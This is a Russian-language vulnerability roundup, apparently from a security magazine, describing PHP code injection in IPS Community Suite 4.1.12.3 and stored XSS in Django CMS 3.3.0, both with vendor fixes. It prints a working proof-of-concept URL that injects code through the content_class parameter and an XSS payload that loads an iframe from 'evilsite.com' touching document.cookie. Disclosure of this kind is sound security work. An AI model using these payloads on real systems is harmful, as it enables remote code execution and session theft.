Содержание статьи
Инъекция PHP-кода в IPS Community Suite 4.1.12.3
CVSSv2
N/A
BRIEF
Дата релиза: 7 июля 2016 года
Автор: Egidio Romano
CVE: 2016-6174
IPS Community Suite — это популярный движок для создания форумов, ранее известный под именем IP.Board, частый гость на страницах нашего журнала, пусть и с большими перерывами. Сегодняшняя уязвимость позволит нам выполнить произвольный PHP-код на сервере. Сама ошибка находится в скрипте /applications/core/modules/front/system/content.php
:
$class = 'IPS\\' . implode( '\\', explode( '_', \IPS\Request::i()->content_class ) );
if ( ! class_exists( $class ) or ! in_array( 'IPS\Content', class_parents( $class ) ) )
{
\IPS\Output::i()->error( 'node_error', '2S226/2', 404, '' );
}
Как обычно, проблема кроется в параметре HTTP-запроса content_class
— введенные пользователем данные недостаточно хорошо проверяются перед использованием при вызове функции class_exists()
в строке 40. Это позволяет неавторизованному атакующему внедрить и выполнить свой PHP-код, опираясь на автозагрузку функций, определенных в скрипте /applications/cms/Application.php
:
if ( mb_substr( $class, 0, 14 ) === 'IPS\cms\Fields' and is_numeric( mb_substr( $class, 14, 1 ) ) )
{
$databaseId = mb_substr( $class, 14 );
eval( "namespace IPS\\cms; class Fields{$databaseId} extends Fields { public static \$customDatabaseId [...]
}
EXPLOIT
Пример выполнения функции phpinfo()
:
http://[host]/[ips]/index.php?app=core&module=system&controller=content&do=find&content_class=cms\Fields1{}phpinfo();/*
По словам автора, для успешной эксплуатации требуется, чтобы IPS Community Suite был запущен под PHP с версиями 5.4.24 или 5.5.8.
Оригинальный отчет об уязвимости.
TARGETS
- IPS Community Suite <= 4.1.12.3.
SOLUTION
Есть исправление от производителя.
Хранимая XSS в Django CMS 3.3.0 (Editor Snippet)
CVSSv2
N/A
BRIEF
Дата релиза: 19 июля 2016 года
Автор: Vulnerability-Lab
CVE: 2016-6186
Думаю, что рассказывать подробно про один из самых популярных Web-фреймворков на языке Python — Django — тебе уж точно не надо. Django CMS как раз и основана на нем, а в исправлении сегодняшней уязвимости участвовали сами мемберы Django Security Team и Django Service Developer Team.
Уязвимость находится в значении поля Name
для формы Editors — Code Snippet
. Атакующий может внедрить туда свой собственный код, чтобы получить хранимую XSS. После ее добавления в список управление передается на ./djangocms_snippet/snippet/
. Полученное содержимое никак не обрабатывается, и в результате у нас появляется возможность выполнить любую полезную нагрузку внутри тега option
.
Надо сказать, что эта уязвимость вообще-то не такая опасная, ведь она требует аккаунта с достаточными правами. Для ее успешной эксплуатации понадобится угнать сессию, провести фишинг-атаку или каким-то похожим образом получить хотя бы временный доступ к учетке.
EXPLOIT
Для воспроизведения уязвимости нужно сделать следующее:
- Авторизоваться в Django CMS на сайте.
- Открыть структуру модуля.
- Кликнуть на редактирование страницы модуля (замечу, что теперь редактор открывается с плагинами по умолчанию).
- Отметить кусок текста и кликнуть на плагин с фрагментами кода, чтобы настроить установки по умолчанию.
- Кликнуть на плюс, чтобы добавить новый фрагмент (snippet) кода.
- Вставить JavaScript-код с полезной нагрузкой в поле ввода Name.
- Сохранить, используя POST-запрос.
- Теперь кликнуть на выпадающий список и выбрать созданную полезную нагрузку.
- Скрипт выполняется при прокрутке выпадающего списка без какой-либо фильтрации.
- Profit!
С помощью внедрения таких фрагментов можно эксплуатировать и другие аккаунты. Когда другой привилегированный пользователь включит у себя этот фрагмент, то вызовет выполнение полезной нагрузки.
...
<fieldset class="module aligned ">
<div class="form-row field-snippet">
<div>
<label class="required" for="id_snippet">Snippet:</label>
<div class="related-widget-wrapper">
<select id="id_snippet" name="snippet">
<option value="">---------</option>
<option value="3" selected="selected">"><"<img decoding="async" src="x">%20%20>"<iframe src="a">%20<iframe>
"><"<img decoding="async" src="x">%20%20>"<iframe src=http://evilsite.com onload=alert(document.cookie)<>[PERSISTENT SCRIPT CODE EXECUTION VIA SNIPPET NAME!]%20<iframe></iframe></option>
<option value="1">Social AddThis</option>
<option value="2">tour "><"<img decoding="async" src="x">%20%20>"<iframe src=a>%20<iframe></option>
</select>
<a href="/en/admin/djangocms_snippet/snippet/3/?_to_field=id&_popup=1" class="related-widget-wrapper-link change-related" id="change_id_snippet" data-href-template="/en/admin/djangocms_snippet/snippet/__fk__/?_to_field=id&_popup=1" title="Change selected Snippet">
<img decoding="async" loading="lazy" src="/static/admin/img/icon_changelink.gif" alt="Change" height="10" width="10">
</a>
<a class="related-widget-wrapper-link add-related" id="add_id_snippet" href="/en/admin/djangocms_snippet/snippet/add/?_to_field=id&_popup=1" title="Add another Snippet">
<img decoding="async" loading="lazy" src="/static/admin/img/icon_addlink.gif" alt="Add" height="10" width="10">
</a>
</div>
</div>
</div>
</fieldset>
...
А вот пример запроса, который выберет данные для выпадающего списка:
GET http://django3-3-0.localhost:8080/en/admin/cms/staticplaceholder/add-plugin/a/[PERSISTENT SCRIPT CODE EXECUTION VIA SNIPPET NAME!]
В оригинальном отчете от Vulnerability-Lab представлен полный лог сессии в момент эксплуатации.
TARGETS
- Django Framework — Content Management System 3.3.0;
- Django Framework — Content Management System MDB, 1.10, 1.9, 1.8 и 1.7.
SOLUTION
Есть исправление от производителя.